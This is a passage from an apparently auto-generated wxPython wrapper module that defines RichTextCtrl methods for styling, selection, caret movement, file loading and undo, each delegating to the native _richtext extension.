_richtext.RichTextCtrl_GetTextCursor(*args, **kwargs)\n\n def SetURLCursor(*args, **kwargs):\n \"\"\"\n SetURLCursor(self, Cursor cursor)\n\n Set URL cursor\n \"\"\"\n return _richtext.RichTextCtrl_SetURLCursor(*args, **kwargs)\n\n def GetURLCursor(*args, **kwargs):\n \"\"\"\n GetURLCursor(self) -> Cursor\n\n Get URL cursor\n \"\"\"\n return _richtext.RichTextCtrl_GetURLCursor(*args, **kwargs)\n\n def GetContextMenu(*args, **kwargs):\n \"\"\"GetContextMenu(self) -> Menu\"\"\"\n return _richtext.RichTextCtrl_GetContextMenu(*args, **kwargs)\n\n def SetContextMenu(*args, **kwargs):\n \"\"\"SetContextMenu(self, Menu menu)\"\"\"\n return _richtext.RichTextCtrl_SetContextMenu(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"Clear(self)\"\"\"\n return _richtext.RichTextCtrl_Clear(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"Replace(self, long from, long to, String value)\"\"\"\n return _richtext.RichTextCtrl_Replace(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"Remove(self, long from, long to)\"\"\"\n return _richtext.RichTextCtrl_Remove(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"\n LoadFile(self, String file, int type=RICHTEXT_TYPE_ANY) -> bool\n\n Load the contents of the document from the given filename.\n \"\"\"\n return _richtext.RichTextCtrl_LoadFile(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"\n SaveFile(self, String file=EmptyString, int type=RICHTEXT_TYPE_ANY) -> bool\n\n Save the contents of the document to the given filename, or if the\n empty string is passed then to the filename set with `SetFilename`.\n \"\"\"\n return _richtext.RichTextCtrl_SaveFile(*args, **kwargs)\n\n def SetHandlerFlags(*args, **kwargs):\n \"\"\"\n SetHandlerFlags(self, int flags)\n\n Set the handler flags, controlling loading and saving.\n \"\"\"\n return _richtext.RichTextCtrl_SetHandlerFlags(*args, **kwargs)\n\n def GetHandlerFlags(*args, **kwargs):\n \"\"\"\n GetHandlerFlags(self) -> int\n\n Get the handler flags, controlling loading and saving.\n \"\"\"\n return _richtext.RichTextCtrl_GetHandlerFlags(*args, **kwargs)\n\n def MarkDirty(*args, **kwargs):\n \"\"\"\n MarkDirty(self)\n\n Sets the dirty flag, meaning that the contents of the control have\n changed and need to be saved.\n \"\"\"\n return _richtext.RichTextCtrl_MarkDirty(*args, **kwargs)\n\n def DiscardEdits(*args, **kwargs):\n \"\"\"\n DiscardEdits(self)\n\n Clears the dirty flag.\n :see: `MarkDirty`\n \"\"\"\n return _richtext.RichTextCtrl_DiscardEdits(*args, **kwargs)\n\n def SetMaxLength(*args, **kwargs):\n \"\"\"\n SetMaxLength(self, unsigned long len)\n\n Set the max number of characters which may be entered in a single line\n text control.\n \"\"\"\n return _richtext.RichTextCtrl_SetMaxLength(*args, **kwargs)\n\n def WriteText(*args, **kwargs):\n \"\"\"\n WriteText(self, String text)\n\n Insert text at the current position.\n \"\"\"\n return _richtext.RichTextCtrl_WriteText(*args, **kwargs)\n\n def AppendText(*args, **kwargs):\n \"\"\"\n AppendText(self, String text)\n\n Append text to the end of the document.\n \"\"\"\n return _richtext.RichTextCtrl_AppendText(*args, **kwargs)\n\n def SetStyle(*args, **kwargs):\n \"\"\"\n SetStyle(self, RichTextRange range, TextAttrEx style) -> bool\n\n Set the style for the text in ``range`` to ``style``\n \"\"\"\n return _richtext.RichTextCtrl_SetStyle(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"\n GetStyle(self, long position, TextAttrEx style) -> bool\n\n Retrieve the style used at the given position. Copies the style\n values at ``position`` into the ``style`` parameter and returns ``True``\n if successful. Returns ``False`` otherwise.\n \"\"\"\n return _richtext.RichTextCtrl_GetStyle(*args, **kwargs)\n\n def GetStyleForRange(*args, **kwargs):\n \"\"\"\n GetStyleForRange(self, RichTextRange range, TextAttrEx style) -> bool\n\n Get the common set of styles for the range\n \"\"\"\n return _richtext.RichTextCtrl_GetStyleForRange(*args, **kwargs)\n\n def SetStyleEx(*args, **kwargs):\n \"\"\"\n SetStyleEx(self, RichTextRange range, TextAttrEx style, int flags=RICHTEXT_SETSTYLE_WITH_UNDO) -> bool\n\n Extended style setting operation with flags including:\n RICHTEXT_SETSTYLE_WITH_UNDO, RICHTEXT_SETSTYLE_OPTIMIZE,\n RICHTEXT_SETSTYLE_PARAGRAPHS_ONLY, RICHTEXT_SETSTYLE_CHARACTERS_ONLY\n \"\"\"\n return _richtext.RichTextCtrl_SetStyleEx(*args, **kwargs)\n\n def GetUncombinedStyle(*args, **kwargs):\n \"\"\"\n GetUncombinedStyle(self, long position, TextAttrEx style) -> bool\n\n Get the content (uncombined) attributes for this position. Copies the\n style values at ``position`` into the ``style`` parameter and returns\n ``True`` if successful. Returns ``False`` otherwise.\n \"\"\"\n return _richtext.RichTextCtrl_GetUncombinedStyle(*args, **kwargs)\n\n def SetDefaultStyle(*args, **kwargs):\n \"\"\"\n SetDefaultStyle(self, TextAttrEx style) -> bool\n\n Set the style used by default for the rich text document.\n \"\"\"\n return _richtext.RichTextCtrl_SetDefaultStyle(*args, **kwargs)\n\n def GetDefaultStyle(*args, **kwargs):\n \"\"\"\n GetDefaultStyle(self) -> TextAttrEx\n\n Retrieves a copy of the default style object.\n \"\"\"\n return _richtext.RichTextCtrl_GetDefaultStyle(*args, **kwargs)\n\n def SetListStyle(*args, **kwargs):\n \"\"\"\n SetListStyle(self, RichTextRange range, String defName, int flags=RICHTEXT_SETSTYLE_WITH_UNDO, \n int startFrom=1, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextCtrl_SetListStyle(*args, **kwargs)\n\n def ClearListStyle(*args, **kwargs):\n \"\"\"ClearListStyle(self, RichTextRange range, int flags=RICHTEXT_SETSTYLE_WITH_UNDO) -> bool\"\"\"\n return _richtext.RichTextCtrl_ClearListStyle(*args, **kwargs)\n\n def NumberList(*args, **kwargs):\n \"\"\"\n NumberList(self, RichTextRange range, String defName, int flags=RICHTEXT_SETSTYLE_WITH_UNDO, \n int startFrom=1, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextCtrl_NumberList(*args, **kwargs)\n\n def PromoteList(*args, **kwargs):\n \"\"\"\n PromoteList(self, int promoteBy, RichTextRange range, String defName, \n int flags=RICHTEXT_SETSTYLE_WITH_UNDO, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextCtrl_PromoteList(*args, **kwargs)\n\n def Delete(*args, **kwargs):\n \"\"\"Delete(self, RichTextRange range) -> bool\"\"\"\n return _richtext.RichTextCtrl_Delete(*args, **kwargs)\n\n def XYToPosition(*args, **kwargs):\n \"\"\"\n XYToPosition(self, long x, long y) -> long\n\n Translate a col,row coordinants into a document position.\n \"\"\"\n return _richtext.RichTextCtrl_XYToPosition(*args, **kwargs)\n\n def PositionToXY(*args, **kwargs):\n \"\"\"\n PositionToXY(self, long pos) --> (x, y)\n\n Retrieves the col,row for the given position within the document\n \"\"\"\n return _richtext.RichTextCtrl_PositionToXY(*args, **kwargs)\n\n def ShowPosition(*args, **kwargs):\n \"\"\"\n ShowPosition(self, long position)\n\n Ensure that the given position in the document is visible.\n \"\"\"\n return _richtext.RichTextCtrl_ShowPosition(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(self, Point pt) --> (result, pos)\n\n Returns the character position at the given point in pixels. Note\n that ``pt`` should be given in device coordinates, and not be adjusted\n for the client area origin nor for scrolling. The return value is a\n tuple of the hit test result and the position.\n \"\"\"\n return _richtext.RichTextCtrl_HitTest(*args, **kwargs)\n\n def HitTestXY(*args, **kwargs):\n \"\"\"\n HitTestRC(self, Point pt) --> (result, col, row)\n\n Returns the column and row of the given point in pixels. Note that\n ``pt`` should be given in device coordinates, and not be adjusted for\n the client area origin nor for scrolling. The return value is a tuple\n of the hit test result and the column and row values.\n \"\"\"\n return _richtext.RichTextCtrl_HitTestXY(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"\n Copy(self)\n\n Copies the selected text to the clipboard.\n \"\"\"\n return _richtext.RichTextCtrl_Copy(*args, **kwargs)\n\n def Cut(*args, **kwargs):\n \"\"\"\n Cut(self)\n\n Copies the selected text to the clipboard and removes the selection.\n \"\"\"\n return _richtext.RichTextCtrl_Cut(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"\n Paste(self)\n\n Pastes text from the clipboard into the document at the current\n insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_Paste(*args, **kwargs)\n\n def DeleteSelection(*args, **kwargs):\n \"\"\"\n DeleteSelection(self)\n\n Remove the current selection.\n \"\"\"\n return _richtext.RichTextCtrl_DeleteSelection(*args, **kwargs)\n\n def CanCopy(*args, **kwargs):\n \"\"\"\n CanCopy(self) -> bool\n\n Returns ``True`` if the selection can be copied to the clipboard.\n \"\"\"\n return _richtext.RichTextCtrl_CanCopy(*args, **kwargs)\n\n def CanCut(*args, **kwargs):\n \"\"\"\n CanCut(self) -> bool\n\n Returns ``True`` if the selection can be cut to the clipboard.\n \"\"\"\n return _richtext.RichTextCtrl_CanCut(*args, **kwargs)\n\n def CanPaste(*args, **kwargs):\n \"\"\"\n CanPaste(self) -> bool\n\n Returns ``True`` if the current contents of the clipboard can be\n pasted into the document.\n \"\"\"\n return _richtext.RichTextCtrl_CanPaste(*args, **kwargs)\n\n def CanDeleteSelection(*args, **kwargs):\n \"\"\"\n CanDeleteSelection(self) -> bool\n\n Returns ``True`` if the selection can be removed from the document.\n \"\"\"\n return _richtext.RichTextCtrl_CanDeleteSelection(*args, **kwargs)\n\n def Undo(*args, **kwargs):\n \"\"\"\n Undo(self)\n\n If the last operation can be undone, undoes the last operation.\n \"\"\"\n return _richtext.RichTextCtrl_Undo(*args, **kwargs)\n\n def Redo(*args, **kwargs):\n \"\"\"\n Redo(self)\n\n If the last operation can be redone, redoes the last operation.\n \"\"\"\n return _richtext.RichTextCtrl_Redo(*args, **kwargs)\n\n def CanUndo(*args, **kwargs):\n \"\"\"\n CanUndo(self) -> bool\n\n Returns ``True`` if the last operation can be undone.\n \"\"\"\n return _richtext.RichTextCtrl_CanUndo(*args, **kwargs)\n\n def CanRedo(*args, **kwargs):\n \"\"\"\n CanRedo(self) -> bool\n\n Returns ``True`` if the last operation can be redone.\n \"\"\"\n return _richtext.RichTextCtrl_CanRedo(*args, **kwargs)\n\n def SetInsertionPoint(*args, **kwargs):\n \"\"\"\n SetInsertionPoint(self, long pos)\n\n Sets the insertion point at the given position.\n \"\"\"\n return _richtext.RichTextCtrl_SetInsertionPoint(*args, **kwargs)\n\n def SetInsertionPointEnd(*args, **kwargs):\n \"\"\"\n SetInsertionPointEnd(self)\n\n Moves the insertion point to the end of the document.\n \"\"\"\n return _richtext.RichTextCtrl_SetInsertionPointEnd(*args, **kwargs)\n\n def GetInsertionPoint(*args, **kwargs):\n \"\"\"\n GetInsertionPoint(self) -> long\n\n Returns the insertion point. This is defined as the zero based index\n of the character position to the right of the insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_GetInsertionPoint(*args, **kwargs)\n\n def GetLastPosition(*args, **kwargs):\n \"\"\"\n GetLastPosition(self) -> long\n\n Returns the zero based index of the last position in the document.\n \"\"\"\n return _richtext.RichTextCtrl_GetLastPosition(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"\n SetSelection(self, long from, long to)\n\n Selects the text starting at the first position up to (but not\n including) the character at the last position. If both parameters are\n equal to -1 then all text in the control is selected.\n \"\"\"\n return _richtext.RichTextCtrl_SetSelection(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"\n SelectAll(self)\n\n Select all text in the document.\n \"\"\"\n return _richtext.RichTextCtrl_SelectAll(*args, **kwargs)\n\n def SetEditable(*args, **kwargs):\n \"\"\"\n SetEditable(self, bool editable)\n\n Makes the document editable or read-only, overriding the RE_READONLY\n flag.\n \"\"\"\n return _richtext.RichTextCtrl_SetEditable(*args, **kwargs)\n\n def HasSelection(*args, **kwargs):\n \"\"\"HasSelection(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_HasSelection(*args, **kwargs)\n\n def WriteImage(*args, **kwargs):\n \"\"\"\n WriteImage(self, Image image, int bitmapType=BITMAP_TYPE_PNG) -> bool\n\n Write an image at the current insertion point. Supply optional type to\n use for internal and file storage of the raw data.\n\n \"\"\"\n return _richtext.RichTextCtrl_WriteImage(*args, **kwargs)\n\n def WriteBitmap(*args, **kwargs):\n \"\"\"\n WriteBitmap(self, Bitmap bitmap, int bitmapType=BITMAP_TYPE_PNG) -> bool\n\n Write a bitmap at the current insertion point. Supply optional type to\n use for internal and file storage of the raw data.\n \"\"\"\n return _richtext.RichTextCtrl_WriteBitmap(*args, **kwargs)\n\n def WriteImageFile(*args, **kwargs):\n \"\"\"\n WriteImageFile(self, String filename, int bitmapType) -> bool\n\n Load an image from file and write at the current insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_WriteImageFile(*args, **kwargs)\n\n def WriteImageBlock(*args, **kwargs):\n \"\"\"\n WriteImageBlock(self, wxRichTextImageBlock imageBlock) -> bool\n\n Write an image block at the current insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_WriteImageBlock(*args, **kwargs)\n\n def Newline(*args, **kwargs):\n \"\"\"\n Newline(self) -> bool\n\n Insert a newline (actually paragraph) at the current insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_Newline(*args, **kwargs)\n\n def LineBreak(*args, **kwargs):\n \"\"\"\n LineBreak(self) -> bool\n\n Insert a line break at the current insertion point.\n \"\"\"\n return _richtext.RichTextCtrl_LineBreak(*args, **kwargs)\n\n def SetBasicStyle(*args, **kwargs):\n \"\"\"SetBasicStyle(self, TextAttrEx style)\"\"\"\n return _richtext.RichTextCtrl_SetBasicStyle(*args, **kwargs)\n\n def GetBasicStyle(*args, **kwargs):\n \"\"\"\n GetBasicStyle(self) -> TextAttrEx\n\n Get basic (overall) style\n \"\"\"\n return _richtext.RichTextCtrl_GetBasicStyle(*args, **kwargs)\n\n def BeginStyle(*args, **kwargs):\n \"\"\"\n BeginStyle(self, TextAttrEx style) -> bool\n\n Begin using a style\n \"\"\"\n return _richtext.RichTextCtrl_BeginStyle(*args, **kwargs)\n\n def EndStyle(*args, **kwargs):\n \"\"\"\n EndStyle(self) -> bool\n\n End the style\n \"\"\"\n return _richtext.RichTextCtrl_EndStyle(*args, **kwargs)\n\n def EndAllStyles(*args, **kwargs):\n \"\"\"\n EndAllStyles(self) -> bool\n\n End all styles\n \"\"\"\n return _richtext.RichTextCtrl_EndAllStyles(*args, **kwargs)\n\n def BeginBold(*args, **kwargs):\n \"\"\"\n BeginBold(self) -> bool\n\n Begin using bold\n \"\"\"\n return _richtext.RichTextCtrl_BeginBold(*args, **kwargs)\n\n def EndBold(*args, **kwargs):\n \"\"\"\n EndBold(self) -> bool\n\n End using bold\n \"\"\"\n return _richtext.RichTextCtrl_EndBold(*args, **kwargs)\n\n def BeginItalic(*args, **kwargs):\n \"\"\"\n BeginItalic(self) -> bool\n\n Begin using italic\n \"\"\"\n return _richtext.RichTextCtrl_BeginItalic(*args, **kwargs)\n\n def EndItalic(*args, **kwargs):\n \"\"\"\n EndItalic(self) -> bool\n\n End using italic\n \"\"\"\n return _richtext.RichTextCtrl_EndItalic(*args, **kwargs)\n\n def BeginUnderline(*args, **kwargs):\n \"\"\"\n BeginUnderline(self) -> bool\n\n Begin using underline\n \"\"\"\n return _richtext.RichTextCtrl_BeginUnderline(*args, **kwargs)\n\n def EndUnderline(*args, **kwargs):\n \"\"\"\n EndUnderline(self) -> bool\n\n End using underline\n \"\"\"\n return _richtext.RichTextCtrl_EndUnderline(*args, **kwargs)\n\n def BeginFontSize(*args, **kwargs):\n \"\"\"\n BeginFontSize(self, int pointSize) -> bool\n\n Begin using point size\n \"\"\"\n return _richtext.RichTextCtrl_BeginFontSize(*args, **kwargs)\n\n def EndFontSize(*args, **kwargs):\n \"\"\"\n EndFontSize(self) -> bool\n\n End using point size\n \"\"\"\n return _richtext.RichTextCtrl_EndFontSize(*args, **kwargs)\n\n def BeginFont(*args, **kwargs):\n \"\"\"\n BeginFont(self, Font font) -> bool\n\n Begin using this font\n \"\"\"\n return _richtext.RichTextCtrl_BeginFont(*args, **kwargs)\n\n def EndFont(*args, **kwargs):\n \"\"\"\n EndFont(self) -> bool\n\n End using a font\n \"\"\"\n return _richtext.RichTextCtrl_EndFont(*args, **kwargs)\n\n def BeginTextColour(*args, **kwargs):\n \"\"\"\n BeginTextColour(self, Colour colour) -> bool\n\n Begin using this colour\n \"\"\"\n return _richtext.RichTextCtrl_BeginTextColour(*args, **kwargs)\n\n def EndTextColour(*args, **kwargs):\n \"\"\"\n EndTextColour(self) -> bool\n\n End using a colour\n \"\"\"\n return _richtext.RichTextCtrl_EndTextColour(*args, **kwargs)\n\n def BeginAlignment(*args, **kwargs):\n \"\"\"\n BeginAlignment(self, int alignment) -> bool\n\n Begin using alignment\n \"\"\"\n return _richtext.RichTextCtrl_BeginAlignment(*args, **kwargs)\n\n def EndAlignment(*args, **kwargs):\n \"\"\"\n EndAlignment(self) -> bool\n\n End alignment\n \"\"\"\n return _richtext.RichTextCtrl_EndAlignment(*args, **kwargs)\n\n def BeginLeftIndent(*args, **kwargs):\n \"\"\"\n BeginLeftIndent(self, int leftIndent, int leftSubIndent=0) -> bool\n\n Begin left indent\n \"\"\"\n return _richtext.RichTextCtrl_BeginLeftIndent(*args, **kwargs)\n\n def EndLeftIndent(*args, **kwargs):\n \"\"\"\n EndLeftIndent(self) -> bool\n\n End left indent\n \"\"\"\n return _richtext.RichTextCtrl_EndLeftIndent(*args, **kwargs)\n\n def BeginRightIndent(*args, **kwargs):\n \"\"\"\n BeginRightIndent(self, int rightIndent) -> bool\n\n Begin right indent\n \"\"\"\n return _richtext.RichTextCtrl_BeginRightIndent(*args, **kwargs)\n\n def EndRightIndent(*args, **kwargs):\n \"\"\"\n EndRightIndent(self) -> bool\n\n End right indent\n \"\"\"\n return _richtext.RichTextCtrl_EndRightIndent(*args, **kwargs)\n\n def BeginParagraphSpacing(*args, **kwargs):\n \"\"\"\n BeginParagraphSpacing(self, int before, int after) -> bool\n\n Begin paragraph spacing\n \"\"\"\n return _richtext.RichTextCtrl_BeginParagraphSpacing(*args, **kwargs)\n\n def EndParagraphSpacing(*args, **kwargs):\n \"\"\"\n EndParagraphSpacing(self) -> bool\n\n End paragraph spacing\n \"\"\"\n return _richtext.RichTextCtrl_EndParagraphSpacing(*args, **kwargs)\n\n def BeginLineSpacing(*args, **kwargs):\n \"\"\"\n BeginLineSpacing(self, int lineSpacing) -> bool\n\n Begin line spacing\n \"\"\"\n return _richtext.RichTextCtrl_BeginLineSpacing(*args, **kwargs)\n\n def EndLineSpacing(*args, **kwargs):\n \"\"\"\n EndLineSpacing(self) -> bool\n\n End line spacing\n \"\"\"\n return _richtext.RichTextCtrl_EndLineSpacing(*args, **kwargs)\n\n def BeginNumberedBullet(*args, **kwargs):\n \"\"\"\n BeginNumberedBullet(self, int bulletNumber, int leftIndent, int leftSubIndent, \n int bulletStyle=wxTEXT_ATTR_BULLET_STYLE_ARABIC|wxTEXT_ATTR_BULLET_STYLE_PERIOD) -> bool\n\n Begin numbered bullet\n \"\"\"\n return _richtext.RichTextCtrl_BeginNumberedBullet(*args, **kwargs)\n\n def EndNumberedBullet(*args, **kwargs):\n \"\"\"\n EndNumberedBullet(self) -> bool\n\n End numbered bullet\n \"\"\"\n return _richtext.RichTextCtrl_EndNumberedBullet(*args, **kwargs)\n\n def BeginSymbolBullet(*args, **kwargs):\n \"\"\"\n BeginSymbolBullet(self, String symbol, int leftIndent, int leftSubIndent, int bulletStyle=TEXT_ATTR_BULLET_STYLE_SYMBOL) -> bool\n\n Begin symbol bullet\n \"\"\"\n return _richtext.RichTextCtrl_BeginSymbolBullet(*args, **kwargs)\n\n def EndSymbolBullet(*args, **kwargs):\n \"\"\"\n EndSymbolBullet(self) -> bool\n\n End symbol bullet\n \"\"\"\n return _richtext.RichTextCtrl_EndSymbolBullet(*args, **kwargs)\n\n def BeginStandardBullet(*args, **kwargs):\n \"\"\"\n BeginStandardBullet(self, String bulletName, int leftIndent, int leftSubIndent, \n int bulletStyle=TEXT_ATTR_BULLET_STYLE_STANDARD) -> bool\n\n Begin standard bullet\n \"\"\"\n return _richtext.RichTextCtrl_BeginStandardBullet(*args, **kwargs)\n\n def EndStandardBullet(*args, **kwargs):\n \"\"\"\n EndStandardBullet(self) -> bool\n\n End standard bullet\n \"\"\"\n return _richtext.RichTextCtrl_EndStandardBullet(*args, **kwargs)\n\n def BeginCharacterStyle(*args, **kwargs):\n \"\"\"\n BeginCharacterStyle(self, String characterStyle) -> bool\n\n Begin named character style\n \"\"\"\n return _richtext.RichTextCtrl_BeginCharacterStyle(*args, **kwargs)\n\n def EndCharacterStyle(*args, **kwargs):\n \"\"\"\n EndCharacterStyle(self) -> bool\n\n End named character style\n \"\"\"\n return _richtext.RichTextCtrl_EndCharacterStyle(*args, **kwargs)\n\n def BeginParagraphStyle(*args, **kwargs):\n \"\"\"\n BeginParagraphStyle(self, String paragraphStyle) -> bool\n\n Begin named paragraph style\n \"\"\"\n return _richtext.RichTextCtrl_BeginParagraphStyle(*args, **kwargs)\n\n def EndParagraphStyle(*args, **kwargs):\n \"\"\"\n EndParagraphStyle(self) -> bool\n\n End named character style\n \"\"\"\n return _richtext.RichTextCtrl_EndParagraphStyle(*args, **kwargs)\n\n def BeginListStyle(*args, **kwargs):\n \"\"\"\n BeginListStyle(self, String listStyle, int level=1, int number=1) -> bool\n\n Begin named list style.\n \"\"\"\n return _richtext.RichTextCtrl_BeginListStyle(*args, **kwargs)\n\n def EndListStyle(*args, **kwargs):\n \"\"\"\n EndListStyle(self) -> bool\n\n End named list style.\n \"\"\"\n return _richtext.RichTextCtrl_EndListStyle(*args, **kwargs)\n\n def BeginURL(*args, **kwargs):\n \"\"\"\n BeginURL(self, String url, String characterStyle=wxEmptyString) -> bool\n\n Begin URL.\n \"\"\"\n return _richtext.RichTextCtrl_BeginURL(*args, **kwargs)\n\n def EndURL(*args, **kwargs):\n \"\"\"\n EndURL(self) -> bool\n\n End URL.\n \"\"\"\n return _richtext.RichTextCtrl_EndURL(*args, **kwargs)\n\n def SetDefaultStyleToCursorStyle(*args, **kwargs):\n \"\"\"\n SetDefaultStyleToCursorStyle(self) -> bool\n\n Sets the default style to the style under the cursor\n \"\"\"\n return _richtext.RichTextCtrl_SetDefaultStyleToCursorStyle(*args, **kwargs)\n\n def SelectNone(*args, **kwargs):\n \"\"\"\n SelectNone(self)\n\n Clear the selection\n \"\"\"\n return _richtext.RichTextCtrl_SelectNone(*args, **kwargs)\n\n def SelectWord(*args, **kwargs):\n \"\"\"\n SelectWord(self, long position) -> bool\n\n Select the word at the given character position\n \"\"\"\n return _richtext.RichTextCtrl_SelectWord(*args, **kwargs)\n\n def GetSelectionRange(*args, **kwargs):\n \"\"\"\n GetSelectionRange(self) -> RichTextRange\n\n Get the selection range in character positions.\n \"\"\"\n return _richtext.RichTextCtrl_GetSelectionRange(*args, **kwargs)\n\n def SetSelectionRange(*args, **kwargs):\n \"\"\"\n SetSelectionRange(self, RichTextRange range)\n\n Set the selection range in character positions. The end point of range\n is specified as the last character position of the span of text, plus\n one. So, for example, to set the selection for a character at position\n 5, use the range (5,6).\n \"\"\"\n return _richtext.RichTextCtrl_SetSelectionRange(*args, **kwargs)\n\n def GetInternalSelectionRange(*args, **kwargs):\n \"\"\"\n GetInternalSelectionRange(self) -> RichTextRange\n\n Get the selection range in character positions. The range is in\n internal format, i.e. a single character selection is denoted by (n,n).\n\n \"\"\"\n return _richtext.RichTextCtrl_GetInternalSelectionRange(*args, **kwargs)\n\n def SetInternalSelectionRange(*args, **kwargs):\n \"\"\"\n SetInternalSelectionRange(self, RichTextRange range)\n\n Set the selection range in character positions. The range is in\n internal format, i.e. a single character selection is denoted by (n,n).\n \"\"\"\n return _richtext.RichTextCtrl_SetInternalSelectionRange(*args, **kwargs)\n\n def AddParagraph(*args, **kwargs):\n \"\"\"\n AddParagraph(self, String text) -> RichTextRange\n\n Add a new paragraph of text to the end of the buffer\n \"\"\"\n return _richtext.RichTextCtrl_AddParagraph(*args, **kwargs)\n\n def AddImage(*args, **kwargs):\n \"\"\"\n AddImage(self, Image image) -> RichTextRange\n\n Add an image\n \"\"\"\n return _richtext.RichTextCtrl_AddImage(*args, **kwargs)\n\n def LayoutContent(*args, **kwargs):\n \"\"\"\n LayoutContent(self, bool onlyVisibleRect=False) -> bool\n\n Layout the buffer: which we must do before certain operations, such as\n setting the caret position.\n \"\"\"\n return _richtext.RichTextCtrl_LayoutContent(*args, **kwargs)\n\n def MoveCaret(*args, **kwargs):\n \"\"\"\n MoveCaret(self, long pos, bool showAtLineStart=False) -> bool\n\n Move the caret to the given character position\n \"\"\"\n return _richtext.RichTextCtrl_MoveCaret(*args, **kwargs)\n\n def MoveRight(*args, **kwargs):\n \"\"\"\n MoveRight(self, int noPositions=1, int flags=0) -> bool\n\n Move right\n \"\"\"\n return _richtext.RichTextCtrl_MoveRight(*args, **kwargs)\n\n def MoveLeft(*args, **kwargs):\n \"\"\"\n MoveLeft(self, int noPositions=1, int flags=0) -> bool\n\n Move left\n \"\"\"\n return _richtext.RichTextCtrl_MoveLeft(*args, **kwargs)\n\n def MoveUp(*args, **kwargs):\n \"\"\"\n MoveUp(self, int noLines=1, int flags=0) -> bool\n\n Move up\n \"\"\"\n return _richtext.RichTextCtrl_MoveUp(*args, **kwargs)\n\n def MoveDown(*args, **kwargs):\n \"\"\"\n MoveDown(self, int noLines=1, int flags=0) -> bool\n\n Move down\n \"\"\"\n return _richtext.RichTextCtrl_MoveDown(*args, **kwargs)\n\n def MoveToLineEnd(*args, **kwargs):\n \"\"\"\n MoveToLineEnd(self, int flags=0) -> bool\n\n Move to the end of the line\n \"\"\"\n return _richtext.RichTextCtrl_MoveToLineEnd(*args, **kwargs)\n\n def MoveToLineStart(*args, **kwargs):\n \"\"\"\n MoveToLineStart(self, int flags=0) -> bool\n\n Move to the start of the line\n \"\"\"\n return _richtext.RichTextCtrl_MoveToLineStart(*args, **kwargs)\n\n def MoveToParagraphEnd(*args, **kwargs):\n \"\"\"\n MoveToParagraphEnd(self, int flags=0) -> bool\n\n Move to the end of the paragraph\n \"\"\"\n return _richtext.RichTextCtrl_MoveToParagraphEnd(*args, **kwargs)\n\n def MoveToParagraphStart(*args, **kwargs):\n \"\"\"\n MoveToParagraphStart(self, int flags=0) -> bool\n\n Move to the start of the paragraph\n \"\"\"\n return _richtext.RichTextCtrl_MoveToParagraphStart(*args, **kwargs)\n\n def MoveHome(*args, **kwargs):\n \"\"\"\n MoveHome(self, int flags=0) -> bool\n\n Move to the start of the buffer\n \"\"\"\n return _richtext.RichTextCtrl_MoveHome(*args, **kwargs)\n\n def MoveEnd(*args, **kwargs):\n \"\"\"\n MoveEnd(self, int flags=0) -> bool\n\n Move to the end of the buffer\n \"\"\"\n return _richtext.RichTextCtrl_MoveEnd(*args, **kwargs)\n\n def PageUp(*args, **kwargs):\n \"\"\"\n PageUp(self, int noPages=1, int flags=0) -> bool\n\n Move n pages up\n \"\"\"\n return _richtext.RichTextCtrl_PageUp(*args, **kwargs)\n\n def PageDown(*args, **kwargs):\n \"\"\"\n PageDown(self, int noPages=1, int flags=0) -> bool\n\n Move n pages down\n \"\"\"\n return _richtext.RichTextCtrl_PageDown(*args, **kwargs)\n\n def WordLeft(*args, **kwargs):\n \"\"\"\n WordLeft(self, int noPages=1, int flags=0) -> bool\n\n Move n words left\n \"\"\"\n return _richtext.RichTextCtrl_WordLeft(*args, **kwargs)\n\n def WordRight(*args, **kwargs):\n \"\"\"\n WordRight(self, int noPages=1, int flags=0) -> bool\n\n Move n words right\n \"\"\"\n return _richtext.RichTextCtrl_WordRight(*args, **kwargs)\n\n def GetBuffer(*args, **kwargs):\n \"\"\"\n GetBuffer(self) -> RichTextBuffer\n\n Returns the buffer associated with the control.\n\n \"\"\"\n return _richtext.RichTextCtrl_GetBuffer(*args, **kwargs)\n\n def BeginBatchUndo(*args, **kwargs):\n \"\"\"\n BeginBatchUndo(self, String cmdName) -> bool\n\n Start batching undo history for commands\n \"\"\"\n return _richtext.RichTextCtrl_BeginBatchUndo(*args, **kwargs)\n\n def EndBatchUndo(*args, **kwargs):\n \"\"\"\n EndBatchUndo(self) -> bool\n\n End batching undo history for commands.\n \"\"\"\n return _richtext.RichTextCtrl_EndBatchUndo(*args, **kwargs)\n\n def BatchingUndo(*args, **kwargs):\n \"\"\"\n BatchingUndo(self) -> bool\n\n Are we batching undo history for commands?\n \"\"\"\n return _richtext.RichTextCtrl_BatchingUndo(*args, **kwargs)\n\n def BeginSuppressUndo(*args, **kwargs):\n \"\"\"\n BeginSuppressUndo(self) -> bool\n\n Start suppressing undo history for commands.\n \"\"\"\n return _richtext.RichTextCtrl_BeginSuppressUndo(*args, **kwargs)\n\n def EndSuppressUndo(*args, **kwargs):\n \"\"\"\n EndSuppressUndo(self) -> bool\n\n End suppressing undo history for commands.\n \"\"\"\n return _richtext.RichTextCtrl_EndSuppressUndo(*args, **kwargs)\n\n def SuppressingUndo(*args, **kwargs):\n \"\"\"\n SuppressingUndo(self) -> bool\n\n Are we suppressing undo history for commands?\n \"\"\"\n return _richtext.RichTextCtrl_SuppressingUndo(*args, **kwargs)\n\n def HasCharacterAttributes(*args, **kwargs):\n \"\"\"\n HasCharacterAttributes(self, RichTextRange range, TextAttrEx style) -> bool\n\n Test if this whole range has character attributes of the specified\n 